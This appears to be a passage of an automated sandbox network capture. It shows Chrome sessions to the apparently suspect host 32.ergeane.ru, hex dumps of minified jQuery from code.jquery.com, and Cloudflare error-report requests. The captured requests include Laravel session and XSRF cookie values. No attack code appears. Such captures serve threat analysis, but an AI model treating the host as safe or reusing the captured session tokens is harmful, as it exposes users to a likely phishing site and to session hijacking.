6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-12-18 13:54:29 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-12-18 13:54:29 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-12-18 13:54:29 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-12-18 13:54:29 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49743	104.21.32.225	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:54:29 UTC	1314	OUT	GET /favicon.ico HTTP/1.1 Host: 32.ergeane.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://32.ergeane.ru/yNriUGk0/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ik5XZm13Wm1ablA2V1hueFdLeE83bkE9PSIsInZhbHVlIjoieUd2ZVJmSTVHM2RzQWx5MTRaaEFmUEY3VVcrbk1jQTUySzNRMDhrWlpNdk81cXFQMGZ2RFZ2UGtMUUJWOEVPOWNWU1VoeTJSRFZYbVN5NFd2OHR1ZXNrSVFyNVROZ0lyRUlwMEFUZEdrS0pLTy90ZDhaR3NrTmZBN3lGbjFVcXgiLCJtYWMiOiIxOTYzOTU5NjZjMmY5Y2ZlMDhmMGZhMGYwZDc2ODM3YWNmNmEwOGJkNTkwYWNmMmMxNzAyZjE2MDE3MjkzZjI4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ik9sU2xFSTVHRVBGNlhMUDkzeHJJMVE9PSIsInZhbHVlIjoiQi83UVU4TjJVcm9rOExHVWZjVk1QTlN2amZJNkdGbjc0Y2YxbzB1cDJQeEE3ZFlOSlkwTytPZm9BSkUzVk5qRXpLcEpqbDhObGtUUG1tQ09DczQxWnlDbTVhU3NMUUVleDZySkhwdkJNd2wzTDNBY29qOEdIZjZjZG84N2x4QUsiLCJtYWMiOiI1ZjViYzY0ODI0MDZiNmNmMWNhOGI1NjQwMjkxMGZlNWI1NzlmMWE5OTk1ZjAzOGQ2MTg5NmZjOTYyZjY0ZWE1IiwidGFnIjoiIn0%3D
2024-12-18 13:54:30 UTC	1083	IN	HTTP/1.1 404 Not Found Date: Wed, 18 Dec 2024 13:54:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Age: 13692 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UlL3Dr72cHjKIFGxJ57dOJwyiPkLVhJCTjIOOpkNUo6Zz81yZU4NFAPp3jZe5ExrqLI%2FRtworKVLdT0dj302AwekLcs0y92ic%2BXPWehNLfay%2Fb5sT%2FDW%2BBamoh6w4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2556&min_rtt=1248&rtt_var=2047&sent=230&recv=66&lost=0&retrans=0&sent_bytes=267080&recv_bytes=12258&delivery_rate=38335461&cwnd=263&unsent_bytes=0&cid=bffac2117ab6160f&ts=32082&x=0" CF-Cache-Status: HIT Server: cloudflare CF-RAY: 8f3fa5291937f797-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1647&rtt_var=641&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=1892&delivery_rate=1678160&cwnd=161&unsent_bytes=0&cid=20adc21a44646202&ts=4297&x=0"
2024-12-18 13:54:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49745	151.101.66.137	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:54:31 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:54:31 UTC	613	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Wed, 18 Dec 2024 13:54:31 GMT Age: 3051603 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740036-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 4 X-Timer: S1734530071.377762,VS0,VE0 Vary: Accept-Encoding
2024-12-18 13:54:31 UTC	1378	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-18 13:54:31 UTC	1378	IN	Data Raw: 7d 2c 67 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 65 3f 73 2e 63 61 6c 6c 28 74 68 69 73 29 3a 65 3c 30 3f 74 68 69 73 5b 65 2b 74 68 69 73 2e 6c 65 6e 67 74 68 5d 3a 74 68 69 73 5b 65 5d 7d 2c 70 75 73 68 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 53 2e 6d 65 72 67 65 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 2c 65 29 3b 72 65 74 75 72 6e 20 74 2e 70 72 65 76 4f 62 6a 65 63 74 3d 74 68 69 73 2c 74 7d 2c 65 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 53 2e 65 61 63 68 28 74 68 69 73 2c 65 29 7d 2c 6d 61 70 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 6d 61 70 28 74 68 69 73 2c 66 Data Ascii: },get:function(e){return null==e?s.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=S.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return S.each(this,e)},map:function(n){return this.pushStack(S.map(this,f
2024-12-18 13:54:31 UTC	1378	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 74 2c 6e 3b 72 65 74 75 72 6e 21 28 21 65 7c 7c 22 5b 6f 62 6a 65 63 74 20 4f 62 6a 65 63 74 5d 22 21 3d 3d 6f 2e 63 61 6c 6c 28 65 29 29 26 26 28 21 28 74 3d 72 28 65 29 29 7c 7c 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 28 6e 3d 76 2e 63 61 6c 6c 28 74 2c 22 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 26 26 74 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 26 26 61 2e 63 61 6c 6c 28 6e 29 3d 3d 3d 6c 29 7d 2c 69 73 45 6d 70 74 79 4f 62 6a 65 63 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3b 66 6f 72 28 74 20 69 6e 20 65 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 21 30 7d 2c 67 6c 6f 62 61 6c 45 76 61 6c 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 62 28 65 2c 7b 6e 6f 6e 63 65 3a 74 26 26 74 2e 6e 6f Data Ascii: on(e){var t,n;return!(!e\|\|"[object Object]"!==o.call(e))&&(!(t=r(e))\|\|"function"==typeof(n=v.call(t,"constructor")&&t.constructor)&&a.call(n)===l)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e,t,n){b(e,{nonce:t&&t.no
2024-12-18 13:54:31 UTC	1378	IN	Data Raw: 5d 2c 71 3d 74 2e 70 6f 70 2c 4c 3d 74 2e 70 75 73 68 2c 48 3d 74 2e 70 75 73 68 2c 4f 3d 74 2e 73 6c 69 63 65 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 2c 72 3d 65 2e 6c 65 6e 67 74 68 3b 6e 3c 72 3b 6e 2b 2b 29 69 66 28 65 5b 6e 5d 3d 3d 3d 74 29 72 65 74 75 72 6e 20 6e 3b 72 65 74 75 72 6e 2d 31 7d 2c 52 3d 22 63 68 65 63 6b 65 64 7c 73 65 6c 65 63 74 65 64 7c 61 73 79 6e 63 7c 61 75 74 6f 66 6f 63 75 73 7c 61 75 74 6f 70 6c 61 79 7c 63 6f 6e 74 72 6f 6c 73 7c 64 65 66 65 72 7c 64 69 73 61 62 6c 65 64 7c 68 69 64 64 65 6e 7c 69 73 6d 61 70 7c 6c 6f 6f 70 7c 6d 75 6c 74 69 70 6c 65 7c 6f 70 65 6e 7c 72 65 61 64 6f 6e 6c 79 7c 72 65 71 75 69 72 65 64 7c 73 63 6f 70 65 64 22 2c 4d 3d 22 5b 5c 5c 78 32 30 5c 5c 74 Data Ascii: ],q=t.pop,L=t.push,H=t.push,O=t.slice,P=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},R="checked\|selected\|async\|autofocus\|autoplay\|controls\|defer\|disabled\|hidden\|ismap\|loop\|multiple\|open\|readonly\|required\|scoped",M="[\\x20\\t
2024-12-18 13:54:31 UTC	1378	IN	Data Raw: 2c 65 65 3d 2f 5b 2b 7e 5d 2f 2c 74 65 3d 6e 65 77 20 52 65 67 45 78 70 28 22 5c 5c 5c 5c 5b 5c 5c 64 61 2d 66 41 2d 46 5d 7b 31 2c 36 7d 22 2b 4d 2b 22 3f 7c 5c 5c 5c 5c 28 5b 5e 5c 5c 72 5c 5c 6e 5c 5c 66 5d 29 22 2c 22 67 22 29 2c 6e 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 3d 22 30 78 22 2b 65 2e 73 6c 69 63 65 28 31 29 2d 36 35 35 33 36 3b 72 65 74 75 72 6e 20 74 7c 7c 28 6e 3c 30 3f 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 2b 36 35 35 33 36 29 3a 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 6e 3e 3e 31 30 7c 35 35 32 39 36 2c 31 30 32 33 26 6e 7c 35 36 33 32 30 29 29 7d 2c 72 65 3d 2f 28 5b 5c 30 2d 5c 78 31 66 5c 78 37 66 5d 7c 5e 2d 3f 5c 64 29 7c 5e 2d 24 7c 5b 5e 5c 30 2d 5c 78 31 66 5c Data Ascii: ,ee=/[+~]/,te=new RegExp("\\\\[\\da-fA-F]{1,6}"+M+"?\|\\\\([^\\r\\n\\f])","g"),ne=function(e,t){var n="0x"+e.slice(1)-65536;return t\|\|(n<0?String.fromCharCode(n+65536):String.fromCharCode(n>>10\|55296,1023&n\|56320))},re=/([\0-\x1f\x7f]\|^-?\d)\|^-$\|[^\0-\x1f\
2024-12-18 13:54:31 UTC	1378	IN	Data Raw: 29 29 7b 28 66 3d 65 65 2e 74 65 73 74 28 74 29 26 26 79 65 28 65 2e 70 61 72 65 6e 74 4e 6f 64 65 29 7c 7c 65 29 3d 3d 3d 65 26 26 64 2e 73 63 6f 70 65 7c 7c 28 28 73 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 29 29 3f 73 3d 73 2e 72 65 70 6c 61 63 65 28 72 65 2c 69 65 29 3a 65 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 64 22 2c 73 3d 53 29 29 2c 6f 3d 28 6c 3d 68 28 74 29 29 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 6f 2d 2d 29 6c 5b 6f 5d 3d 28 73 3f 22 23 22 2b 73 3a 22 3a 73 63 6f 70 65 22 29 2b 22 20 22 2b 78 65 28 6c 5b 6f 5d 29 3b 63 3d 6c 2e 6a 6f 69 6e 28 22 2c 22 29 7d 74 72 79 7b 72 65 74 75 72 6e 20 48 2e 61 70 70 6c 79 28 6e 2c 66 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 63 29 29 2c 6e 7d 63 61 74 63 68 28 Data Ascii: )){(f=ee.test(t)&&ye(e.parentNode)\|\|e)===e&&d.scope\|\|((s=e.getAttribute("id"))?s=s.replace(re,ie):e.setAttribute("id",s=S)),o=(l=h(t)).length;while(o--)l[o]=(s?"#"+s:":scope")+" "+xe(l[o]);c=l.join(",")}try{return H.apply(n,f.querySelectorAll(c)),n}catch(
2024-12-18 13:54:31 UTC	1378	IN	Data Raw: 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 61 28 5b 5d 2c 65 2e 6c 65 6e 67 74 68 2c 6f 29 2c 69 3d 72 2e 6c 65 6e 67 74 68 3b 77 68 69 6c 65 28 69 2d 2d 29 65 5b 6e 3d 72 5b 69 5d 5d 26 26 28 65 5b 6e 5d 3d 21 28 74 5b 6e 5d 3d 65 5b 6e 5d 29 29 7d 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 79 65 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 26 26 65 7d 66 6f 72 28 65 20 69 6e 20 64 3d 73 65 2e 73 75 70 70 6f 72 74 3d 7b 7d 2c 69 3d 73 65 2e 69 73 58 4d 4c 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 26 26 65 2e 6e 61 6d 65 73 70 61 63 65 55 52 49 2c 6e 3d 65 26 26 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c Data Ascii: ion(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument\|
2024-12-18 13:54:31 UTC	1378	IN	Data Raw: 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 2e 72 65 70 6c 61 63 65 28 74 65 2c 6e 65 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 4e 6f 64 65 28 22 69 64 22 29 3b 72 65 74 75 72 6e 20 74 26 26 74 2e 76 61 6c 75 65 3d 3d 3d 6e 7d 7d 2c 62 2e 66 69 6e 64 2e 49 44 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 26 26 45 29 7b 76 61 72 20 6e 2c 72 2c 69 2c 6f 3d 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 3b 69 66 28 6f 29 7b 69 66 28 28 Data Ascii: tion(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((
2024-12-18 13:54:31 UTC	1378	IN	Data Raw: 5b 22 2b 4d 2b 22 2a 6e 61 6d 65 22 2b 4d 2b 22 2a 3d 22 2b 4d 2b 22 2a 28 3f 3a 27 27 7c 5c 22 5c 22 29 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 3a 63 68 65 63 6b 65 64 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 3a 63 68 65 63 6b 65 64 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 61 23 22 2b 53 2b 22 2b 2a 22 29 2e 6c 65 6e 67 74 68 7c 7c 76 2e 70 75 73 68 28 22 2e 23 2e 2b 5b 2b 7e 5d 22 29 2c 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5c 5c 5c 66 22 29 2c 76 2e 70 75 73 68 28 22 5b 5c 5c 72 5c 5c 6e 5c 5c 66 5d 22 29 7d 29 2c 63 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 3c 61 20 68 72 65 66 3d 27 27 20 64 69 73 61 62 6c 65 64 3d 27 Data Ascii: ["+M+"name"+M+"="+M+"(?:''\|\"\")"),e.querySelectorAll(":checked").length\|\|v.push(":checked"),e.querySelectorAll("a#"+S+"+").length\|\|v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="<a href='' disabled='
2024-12-18 13:54:31 UTC	1378	IN	Data Raw: 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 2d 21 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 3b 72 65 74 75 72 6e 20 6e 7c 7c 28 31 26 28 6e 3d 28 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 65 29 3d 3d 28 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 7c 7c 74 29 3f 65 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 74 29 3a 31 29 7c 7c 21 64 2e 73 6f 72 74 44 65 74 61 63 68 65 64 26 26 74 2e 63 6f 6d 70 61 72 65 44 6f 63 75 6d 65 6e 74 50 6f 73 69 74 69 6f 6e 28 65 29 3d 3d 3d 6e 3f 65 3d 3d 43 7c 7c 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 26 26 79 28 70 2c 65 29 3f 2d 31 3a 74 3d 3d 43 7c 7c 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3d 3d 70 Data Ascii: e.compareDocumentPosition-!t.compareDocumentPosition;return n\|\|(1&(n=(e.ownerDocument\|\|e)==(t.ownerDocument\|\|t)?e.compareDocumentPosition(t):1)\|\|!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C\|\|e.ownerDocument==p&&y(p,e)?-1:t==C\|\|t.ownerDocument==p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49747	35.190.80.1	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:54:31 UTC	536	OUT	OPTIONS /report/v4?s=UlL3Dr72cHjKIFGxJ57dOJwyiPkLVhJCTjIOOpkNUo6Zz81yZU4NFAPp3jZe5ExrqLI%2FRtworKVLdT0dj302AwekLcs0y92ic%2BXPWehNLfay%2Fb5sT%2FDW%2BBamoh6w4g%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Origin: https://32.ergeane.ru Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-18 13:54:31 UTC	336	IN	HTTP/1.1 200 OK Content-Length: 0 access-control-max-age: 86400 access-control-allow-methods: POST, OPTIONS access-control-allow-origin: * access-control-allow-headers: content-length, content-type date: Wed, 18 Dec 2024 13:54:31 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49748	35.190.80.1	443	7956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-18 13:54:33 UTC	480	OUT	POST /report/v4?s=UlL3Dr72cHjKIFGxJ57dOJwyiPkLVhJCTjIOOpkNUo6Zz81yZU4NFAPp3jZe5ExrqLI%2FRtworKVLdT0dj302AwekLcs0y92ic%2BXPWehNLfay%2Fb5sT%2FDW%2BBamoh6w4g%3D%3D HTTP/1.1 Host: a.nel.cloudflare.com Connection: keep-alive Content-Length: 425 Content-Type: application/reports+json User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
